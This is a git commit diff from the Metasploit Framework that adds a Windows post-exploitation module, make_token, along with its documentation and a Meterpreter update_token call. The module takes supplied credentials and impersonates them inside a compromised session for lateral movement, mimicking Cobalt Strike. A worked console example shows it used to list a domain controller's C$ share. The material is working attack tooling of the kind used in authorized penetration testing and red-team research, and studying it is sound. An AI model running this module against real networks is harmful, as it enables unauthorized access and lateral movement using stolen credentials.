Land #18022, Add post/windows/manage/make_token
Add update_token to MSF + make_token post-ex module
This commit is contained in:
commit
5b5c29842c
|
@ -0,0 +1,85 @@
|
|||
## Vulnerable Application
|
||||
In its default configuration, this module creates a new network security context with the specified
|
||||
logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and
|
||||
a new logon session is created and linked to that token. The token is then impersonated to acquire
|
||||
the new network security context. This module has no effect on local actions - only on remote ones
|
||||
(where the specified credential material will be used). This module does not validate the credentials
|
||||
specified.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a Meterpreter session
|
||||
3. Do: `use post/windows/manage/make_token`
|
||||
4. Set the `USERNAME`, `PASSWORD` and `DOMAIN` options
|
||||
5. Run the module
|
||||
|
||||
## Options
|
||||
### USERNAME
|
||||
Username to use
|
||||
|
||||
### PASSWORD
|
||||
Password to use
|
||||
|
||||
### DOMAIN
|
||||
Domain to use
|
||||
|
||||
### LOGONTYPE
|
||||
The type of logon operation to perform (defaults to `LOGON32_LOGON_NEW_CREDENTIALS`)
|
||||
|
||||
### LOGONTYPE
|
||||
This module defaults to `LOGON32_LOGON_NEW_CREDENTIALS` so as to mimic the behaviour of Cobalt Strike's
|
||||
[`make_token`](https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials/) command.
|
||||
However, any valid LOGONTYPE for the LogonUser function can be specified. More details can be found at
|
||||
<https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera>, by checking the
|
||||
`dwLogonType` flag.
|
||||
|
||||
## Scenarios
|
||||
This module can be used as an alternative to modules like `post/windows/manage/run_as` or
|
||||
`post/windows/manage/run_as_psh`, which require the creation of a new process. This module impersonates the specified
|
||||
credentials in the current Meterpreter session, which can be leveraged to enum or move laterally to other systems on
|
||||
behalf of the impersonated user.
|
||||
|
||||
### Limitations
|
||||
In its default configuration, this module does not require privileges to create a new security context (new access
|
||||
token). Despite of this, some actions with the new token might require privileges. For example, in order to create a
|
||||
process with an access token - with functions like [CreateProcessAsUser](https://learn.microsoft.com/en-
|
||||
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) or
|
||||
[CreateProcessWithToken](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
|
||||
- administrative privileges are needed. This means that if you use this module with a non-privileged user, your new
|
||||
processes will not inherit `make_token`'s security context.
|
||||
|
||||
### Example
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: CAP\vegeta
|
||||
meterpreter > ls \\\\dc01\\C$
|
||||
[-] stdapi_fs_stat: Operation failed: Access is denied.
|
||||
meterpreter > run post/windows/manage/make_token username=bulma_da password=Patatas123 domain=capsule.corp
|
||||
|
||||
[*] Executing rev2self to revert any previous token impersonations
|
||||
[*] Executing LogonUserA with the flag LOGON32_LOGON_NEW_CREDENTIALS to create a new security context for capsule.corp\bulma_da
|
||||
[*] Impersonating the new security context...
|
||||
[+] The session should now run with the new security context!
|
||||
[!] Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)
|
||||
meterpreter > ls \\\\dc01\\C$
|
||||
Listing: \\dc01\C$
|
||||
==================
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
040777/rwxrwxrwx 0 dir 2021-05-08 10:20:24 +0200 $Recycle.Bin
|
||||
040777/rwxrwxrwx 0 dir 2023-05-19 12:06:35 +0200 $WinREAgent
|
||||
040777/rwxrwxrwx 0 dir 2023-05-19 09:44:10 +0200 Documents and Settings
|
||||
100666/rw-rw-rw- 12288 fil 2023-06-06 09:25:56 +0200 DumpStack.log.tmp
|
||||
040777/rwxrwxrwx 0 dir 2021-05-08 10:20:24 +0200 PerfLogs
|
||||
040555/r-xr-xr-x 0 dir 2023-05-19 09:53:15 +0200 Program Files
|
||||
040777/rwxrwxrwx 0 dir 2021-05-08 11:40:15 +0200 Program Files (x86)
|
||||
040777/rwxrwxrwx 0 dir 2023-05-19 09:44:33 +0200 ProgramData
|
||||
040777/rwxrwxrwx 0 dir 2023-05-19 09:44:10 +0200 Recovery
|
||||
040777/rwxrwxrwx 0 dir 2023-05-19 09:55:58 +0200 System Volume Information
|
||||
040555/r-xr-xr-x 0 dir 2023-05-19 09:44:15 +0200 Users
|
||||
040777/rwxrwxrwx 0 dir 2023-05-19 09:52:08 +0200 Windows
|
||||
100666/rw-rw-rw- 402653184 fil 2023-06-06 09:25:56 +0200 pagefile.sys
|
||||
```
|
|
@ -129,6 +129,7 @@ COMMAND_ID_STDAPI_AUDIO_MIC_STOP = EXTENSION_ID_STDAPI + 116
|
|||
COMMAND_ID_STDAPI_AUDIO_MIC_LIST = EXTENSION_ID_STDAPI + 117
|
||||
COMMAND_ID_STDAPI_SYS_PROCESS_SET_TERM_SIZE = EXTENSION_ID_STDAPI + 118
|
||||
COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH = EXTENSION_ID_STDAPI + 119
|
||||
COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN = EXTENSION_ID_STDAPI + 120
|
||||
|
||||
|
||||
end; end; end; end; end
|
||||
|
|
|
@ -166,6 +166,15 @@ class Config
|
|||
client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
|
||||
end
|
||||
|
||||
#
|
||||
# Updates the current token for impersonation
|
||||
#
|
||||
def update_token(token_handle)
|
||||
req = Packet.create_request(COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN)
|
||||
req.add_tlv(TLV_TYPE_HANDLE, token_handle.to_i)
|
||||
res = client.send_request(req)
|
||||
end
|
||||
|
||||
#
|
||||
# Enables all possible privileges
|
||||
#
|
||||
|
|
|
@ -0,0 +1,96 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Make Token Command',
|
||||
'Description' => %q{
|
||||
In its default configuration, this module creates a new network security context with the specified
|
||||
logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and
|
||||
a new logon session is created and linked to that token. The token is then impersonated to acquire
|
||||
the new network security context. This module has no effect on local actions - only on remote ones
|
||||
(where the specified credential material will be used). This module does not validate the credentials
|
||||
specified.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'AKA' => ['make_token', 'maketoken'],
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
},
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => [
|
||||
'Daniel López Jiménez (attl4s)',
|
||||
'Simone Salucci (saim1z)'
|
||||
],
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_railgun_api
|
||||
stdapi_sys_config_revert_to_self
|
||||
stdapi_sys_config_update_token
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [true, 'Domain to use' ]),
|
||||
OptString.new('USERNAME', [true, 'Username to use' ]),
|
||||
OptString.new('PASSWORD', [true, 'Password to use' ])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS', ['LOGON32_LOGON_BATCH', 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_LOGON_NETWORK', 'LOGON32_LOGON_NETWORK_CLEARTEXT', 'LOGON32_LOGON_NEW_CREDENTIALS', 'LOGON32_LOGON_SERVICE', 'LOGON32_LOGON_UNLOCK']]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
# Make sure we meet the requirements before running the script
|
||||
fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'
|
||||
|
||||
# check/set vars
|
||||
user = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
domain = datastore['DOMAIN']
|
||||
logontype = datastore['LOGONTYPE']
|
||||
|
||||
# revert any existing impersonation before doing a new one
|
||||
print_status('Executing rev2self to revert any previous token impersonations')
|
||||
session.sys.config.revert_to_self
|
||||
|
||||
# create new logon session / token pair
|
||||
print_status("Executing LogonUserA with the flag #{logontype} to create a new security context for #{domain}\\#{user}")
|
||||
logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, logontype, 'LOGON32_PROVIDER_DEFAULT', 4)
|
||||
|
||||
if logon_user['return']
|
||||
# get the token handle
|
||||
ph_token = logon_user['phToken']
|
||||
print_status('Impersonating the new security context...')
|
||||
|
||||
# store the token within the server
|
||||
session.sys.config.update_token(ph_token)
|
||||
print_good('The session should now run with the new security context!')
|
||||
|
||||
# send warning
|
||||
if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS'
|
||||
print_warning('Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)')
|
||||
end
|
||||
else
|
||||
print_error("LogonUserA call failed, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue